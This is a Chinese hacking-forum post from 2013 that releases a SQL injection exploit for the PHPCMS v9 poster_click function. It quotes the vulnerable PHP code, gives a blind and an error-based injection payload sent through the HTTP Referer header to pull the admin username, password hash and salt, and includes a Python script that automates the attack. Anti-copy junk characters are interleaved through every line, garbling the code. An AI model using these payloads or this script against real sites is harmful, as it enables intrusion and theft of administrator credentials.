找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2320|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:: f* L% |- H  S! \; m* [
4 B6 y# R1 k! L6 T6 b) `2 d
问题函数\phpcms\modules\poster\index.php, c7 X2 Q2 f: }6 A5 B  v

4 |% M0 C7 f4 f4 O$ Xpublic function poster_click() {4 G9 V/ n7 p* w7 e" ~. ]
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
0 I" e8 @7 w. f3 J6 B; I$r = $this->db->get_one(array('id'=>$id));
/ e$ W) q  x- |5 K% r" @( q( _9 u+ bif (!is_array($r) && empty($r)) return false;4 X4 [2 {3 \" G' K$ }+ `0 Z6 f
$ip_area = pc_base::load_sys_class('ip_area');
- B5 `& w. u! Q4 u7 G- W$ u0 k* s$ip = ip();0 @$ I( A' J  c; s( ]
$area = $ip_area->get($ip);0 I. d& j1 E5 a) \7 g& U$ s
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# o& b" `9 y/ h$ L5 G, dif($id) {" P8 Y( J+ B, g; H6 T$ w6 g
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();1 Z* p( K/ k2 I. }$ x' j$ `4 J
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));7 w0 q! t- n0 I6 ]) u! U
}3 w6 D- r; {! P. I7 |
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));, p" ]. K' o$ W  d# v( P8 e* P& I
$setting = string2array($r['setting']);
& h( E) L4 e8 o, ]. R% Wif (count($setting)==1) {
9 X& B) v* d4 `1 K9 x$url = $setting['1']['linkurl'];; A& I: O2 ~9 }2 A* n
} else {
& X9 T7 V7 c: @; A; R5 N$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
. _" ]9 `8 z7 x}
  V$ ^2 z1 Q0 [; _, c2 Z! ^header('Location: '.$url);
) K9 w6 [: G# G7 F) r1 n* c}
1 {4 ^% y6 u- G9 e( V) @
$ j* y2 j. p, _( m+ x  y0 H' { & d) f0 p7 ]5 I/ b, R% p& q  b% W

: J# l3 e9 l  ]  ^; R% S! O3 M7 V利用方式:
- G5 N- U0 `  {6 p* U5 m7 W/ p) g3 `2 b. x
1、可以采用盲注入的手法:
* I* A( l0 U9 t  i7 a
: `& H9 \, m& R! `; c/ V0 qreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
( |: z/ s8 y: H. a8 n: H! e
& V( w- c* M' r% c1 }) I通过返回页面,正常与否一个个猜解密码字段。
9 p. I' I; K  t! t8 `+ Z- B0 O& v8 K
2、代码是花开写的,随手附上了:2 |' Q; _& f* J% n/ [

$ Y' ~7 g8 ?* [( r7 Y: Z1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
" o  [4 v5 P" m% O$ U: ?: z4 u$ D
此方法是爆错注入手法,原理自查。
% V+ f' f# N; k. q. o0 f
: ^& [, `) Q% l # \/ O( [) p) l) [1 D' k+ d7 N0 G

) H! ^) d9 x. E- [# n( r利用程序:  q, S; I1 t+ r

1 K$ c: v* O8 V( h' ^* f! q#!/usr/bin/env python* p$ H8 f2 R( m% T" \! T2 }& O$ Y% R
import httplib,sys,re* G9 O$ _0 h( R& N

' j; x6 s6 v% ?7 p8 w% mdef attack():
- G' _. ^; w  {' nprint “Code by Pax.Mac Team conqu3r!”
( v% k8 ?; }7 ?print “Welcome to our zone!!!”% w* z; h" u& C
url=sys.argv[1]
3 u' l" P$ _/ q% }, Q! s3 cpaths=sys.argv[2]$ E4 {9 Z$ F# a, g2 f; Z4 Y& o% Q  {
conn = httplib.HTTPConnection(url)
4 R3 P, V9 i1 L7 ?, }i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,% v  U  W+ r5 K* s' w  X  L) l) D+ M
“Accept”: “text/plain”,
* l3 G6 O0 v% ^7 C“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}! q5 S" l) F' U& a; }
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)$ a4 ^" `- q; n7 i; O
r1 = conn.getresponse()* q# z5 m8 e4 J4 o! l
datas=r1.read()6 |8 X; @, x9 w& s6 C: j1 r
datas=re.findall(r”Duplicate entry \’\w+’”, datas)' I9 z2 V' G0 o) L& b% `$ Z, K# T' d
print datas[0]
% n, ^0 N3 T; n+ A2 g; n- i4 jconn.close()
+ J0 V7 Q5 V* o# yif __name__==”__main__”:
9 U4 u9 y+ x7 c! ^* Wif len(sys.argv)<3:4 ]+ O- V; l' @7 h1 J
print “Code by Pax.Mac Team conqu3r”
' j* n& a# v* Wprint “Usgae:”
' f1 D( `. x& p# `! w5 Oprint “    phpcmsattack.py   www.paxmac.org /”
' h3 a8 E/ F+ O0 ^0 x$ B4 e' X/ Bprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
% _$ B- s* V2 }sys.exit(1)$ ]/ F2 c! Q( f; S' g- _
attack()9 V8 F* t3 B$ z
4 h: a# [) z! p5 [! C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表